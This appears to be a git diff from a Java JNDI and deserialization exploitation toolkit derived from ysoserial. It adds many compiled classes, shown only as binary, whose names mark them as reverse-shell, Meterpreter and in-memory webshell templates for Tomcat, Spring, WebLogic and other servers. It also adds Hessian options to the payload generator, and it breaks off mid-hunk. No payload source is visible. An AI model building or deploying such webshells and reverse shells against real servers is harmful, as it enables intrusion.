diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCNull.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCNull.class
new file mode 100644
index 0000000..4696781
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCNull.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ClassDescData.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ClassDescData.class
new file mode 100644
index 0000000..95a925e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ClassDescData.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData$Data.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData$Data.class
new file mode 100644
index 0000000..5700c3b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData$Data.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData.class
new file mode 100644
index 0000000..2147b66
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject$ObjectData.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject.class
new file mode 100644
index 0000000..f13a25c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCObject.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.class
new file mode 100644
index 0000000..de82531
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCProxyClassDesc.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCReference.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCReference.class
new file mode 100644
index 0000000..2b3ebfc
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCReference.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCString.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCString.class
new file mode 100644
index 0000000..555997d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCString.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Util.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Util.class
new file mode 100644
index 0000000..5d85693
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Util.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.class
new file mode 100644
index 0000000..6b0c69e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8BytesMix.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream$1.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream$1.class
new file mode 100644
index 0000000..d6b60cf
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.class
new file mode 100644
index 0000000..c65acf0
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/utf8OverlongEncoding/UTF8OverlongObjectOutputStream.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.class b/out/production/classes/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.class
new file mode 100644
index 0000000..f0b1811
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/AgentLoaderTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.class b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.class
new file mode 100644
index 0000000..555276c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForLinux.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.class b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.class
new file mode 100644
index 0000000..8bf2b25
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/AgentNoFileForWindows.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/LinMenshell.class b/out/production/classes/com/qi4l/jndi/template/Agent/LinMenshell.class
new file mode 100644
index 0000000..b4a272b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/LinMenshell.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/WinMenshell.class b/out/production/classes/com/qi4l/jndi/template/Agent/WinMenshell.class
new file mode 100644
index 0000000..74dd11b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/WinMenshell.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/utli/ClassModifier.class b/out/production/classes/com/qi4l/jndi/template/Agent/utli/ClassModifier.class
new file mode 100644
index 0000000..373baff
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/utli/ClassModifier.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLConnection.class b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLConnection.class
new file mode 100644
index 0000000..140d60d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLConnection.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.class b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.class
new file mode 100644
index 0000000..7e24b32
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Agent/utli/SuURLStreamHandler.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/ClassLoaderTemplate.class b/out/production/classes/com/qi4l/jndi/template/ClassLoaderTemplate.class
new file mode 100644
index 0000000..0e09898
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/ClassLoaderTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/CommandTemplate.class b/out/production/classes/com/qi4l/jndi/template/CommandTemplate.class
new file mode 100644
index 0000000..e7c24e6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/CommandTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/DefineClassFromParameter.class b/out/production/classes/com/qi4l/jndi/template/DefineClassFromParameter.class
new file mode 100644
index 0000000..df8f362
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/DefineClassFromParameter.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/DnslogTemplate.class b/out/production/classes/com/qi4l/jndi/template/DnslogTemplate.class
new file mode 100644
index 0000000..5bcebce
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/DnslogTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/DynamicFilterTemplate.class b/out/production/classes/com/qi4l/jndi/template/DynamicFilterTemplate.class
new file mode 100644
index 0000000..5643d19
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/DynamicFilterTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/HideMemShellTemplate.class b/out/production/classes/com/qi4l/jndi/template/HideMemShellTemplate.class
new file mode 100644
index 0000000..2f85ebf
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/HideMemShellTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/MyClassLoader.class b/out/production/classes/com/qi4l/jndi/template/MyClassLoader.class
new file mode 100644
index 0000000..6b27910
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/MyClassLoader.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/ReverseShellTemplate.class b/out/production/classes/com/qi4l/jndi/template/ReverseShellTemplate.class
new file mode 100644
index 0000000..98db5ae
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/ReverseShellTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/Template.class b/out/production/classes/com/qi4l/jndi/template/Template.class
new file mode 100644
index 0000000..31a5400
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/Template.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CAllEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CAllEcho.class
new file mode 100644
index 0000000..7c0a1a8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CAllEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CJbossEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CJbossEcho.class
new file mode 100644
index 0000000..47838a9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CJbossEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CJettyEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CJettyEcho.class
new file mode 100644
index 0000000..83339fa
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CJettyEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.class
new file mode 100644
index 0000000..7e8fcf8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.class
new file mode 100644
index 0000000..2992eba
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CResinEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CResinEcho.class
new file mode 100644
index 0000000..1501d76
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CResinEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CSpringEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CSpringEcho.class
new file mode 100644
index 0000000..6014d62
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CSpringEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.class
new file mode 100644
index 0000000..cf7b7c6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.class
new file mode 100644
index 0000000..9a2ab42
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.class b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.class
new file mode 100644
index 0000000..3274e90
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoConstructor/CweblogicEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/AllEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/AllEcho.class
new file mode 100644
index 0000000..1bbb406
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/AllEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/JbossEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/JbossEcho.class
new file mode 100644
index 0000000..24daaca
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/JbossEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/JettyEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/JettyEcho.class
new file mode 100644
index 0000000..c6b67c6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/JettyEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/LinuxEcho1.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/LinuxEcho1.class
new file mode 100644
index 0000000..71eb573
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/LinuxEcho1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/LinuxEcho2.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/LinuxEcho2.class
new file mode 100644
index 0000000..f0f158d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/LinuxEcho2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/Meterpreter.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/Meterpreter.class
new file mode 100644
index 0000000..38c59a8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/Meterpreter.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/ResinEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/ResinEcho.class
new file mode 100644
index 0000000..b526bc2
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/ResinEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/SpringEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/SpringEcho.class
new file mode 100644
index 0000000..bdc589e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/SpringEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/TomcatEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/TomcatEcho.class
new file mode 100644
index 0000000..81ecf43
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/TomcatEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/WindowsEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/WindowsEcho.class
new file mode 100644
index 0000000..fdb43d7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/WindowsEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/echoStatic/weblogicEcho.class b/out/production/classes/com/qi4l/jndi/template/echoStatic/weblogicEcho.class
new file mode 100644
index 0000000..f9ca997
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/echoStatic/weblogicEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/isOK.class b/out/production/classes/com/qi4l/jndi/template/isOK.class
new file mode 100644
index 0000000..639e9d6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/isOK.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/isSuccess.class b/out/production/classes/com/qi4l/jndi/template/isSuccess.class
new file mode 100644
index 0000000..a1789f3
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/isSuccess.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.class
new file mode 100644
index 0000000..1d6bf5a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/cmsMSBYNC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$1.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$1.class
new file mode 100644
index 0000000..17a4de1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$2.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$2.class
new file mode 100644
index 0000000..b7d926b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$Attach.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$Attach.class
new file mode 100644
index 0000000..c4f4bdd
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC$Attach.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.class
new file mode 100644
index 0000000..0f1ab86
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/BypassNginxCDN/proxyMSBYNC.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.class
new file mode 100644
index 0000000..607c702
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/RMIBindTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.class
new file mode 100644
index 0000000..dba8471
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJproxy.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.class
new file mode 100644
index 0000000..e4b7c74
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Tomcat_Spring_Jetty/MsTSJser.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.class
new file mode 100644
index 0000000..364c129
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSFMSFromThread.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$1.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$1.class
new file mode 100644
index 0000000..4407bff
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$2.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$2.class
new file mode 100644
index 0000000..f42bf7e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$Attach.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$Attach.class
new file mode 100644
index 0000000..6c6f4d7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy$Attach.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.class
new file mode 100644
index 0000000..6032ec7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WSWebsphereProxy.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.class
new file mode 100644
index 0000000..c777987
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/WebsphereMemshellTemplate.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.class
new file mode 100644
index 0000000..1f93b25
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/Websphere/websphereEcho.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.class
new file mode 100644
index 0000000..78cdddc
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jboss/JBFMSFromContextF.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.class
new file mode 100644
index 0000000..c2d21a4
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jboss/JBSMSFromContextS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.class
new file mode 100644
index 0000000..ba5f47e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jetty/JFMSFromJMXF.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.class
new file mode 100644
index 0000000..331e434
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/jetty/JSMSFromJMXS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.class
new file mode 100644
index 0000000..83cb2ec
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/RFMSFromThreadF.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.class
new file mode 100644
index 0000000..f4ec4ae
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/RSMSFromThreadS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/WsResin.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/WsResin.class
new file mode 100644
index 0000000..6cc0965
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/resin/WsResin.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.class
new file mode 100644
index 0000000..50258c3
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringControllerMS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.class
new file mode 100644
index 0000000..5685d41
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringInterceptorMS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.class
new file mode 100644
index 0000000..e937a57
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/spring/SpringWebfluxMS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.class
new file mode 100644
index 0000000..81b6b73
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/struts2/Struts2ActionMS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.class
new file mode 100644
index 0000000..c311299
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TEXMSFromThread.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.class
new file mode 100644
index 0000000..0913e8e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.class
new file mode 100644
index 0000000..2e8bff9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.class
new file mode 100644
index 0000000..aef42f0
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.class
new file mode 100644
index 0000000..98eeaa7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.class
new file mode 100644
index 0000000..a68d6df
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.class
new file mode 100644
index 0000000..aaa0bf9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.class
new file mode 100644
index 0000000..1cad588
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.class
new file mode 100644
index 0000000..70560fe
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.class
new file mode 100644
index 0000000..75c0e7e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.class
new file mode 100644
index 0000000..a3d4784
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/tomcat/TWSMSFromThread.class differ
diff --git a/out/production/classes/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.class b/out/production/classes/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.class
new file mode 100644
index 0000000..3bd82a8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/template/memshellStatic/weblogic/WsWeblogic.class differ
diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java
index f1c8c38..1e5b86e 100644
--- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java
+++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java
@@ -101,6 +101,14 @@ public class ysoserial {
Config.IS_UTF_Bypass = true;
}
+ if (cmdLine.hasOption("Hessian1")) {
+ Config.IS_Hessian1 = true;
+ }
+
+ if (cmdLine.hasOption("Hessian2")) {
+ Config.IS_Hessian2 = true;
+ }
+
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
@@ -189,6 +197,8 @@ public class ysoserial {
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
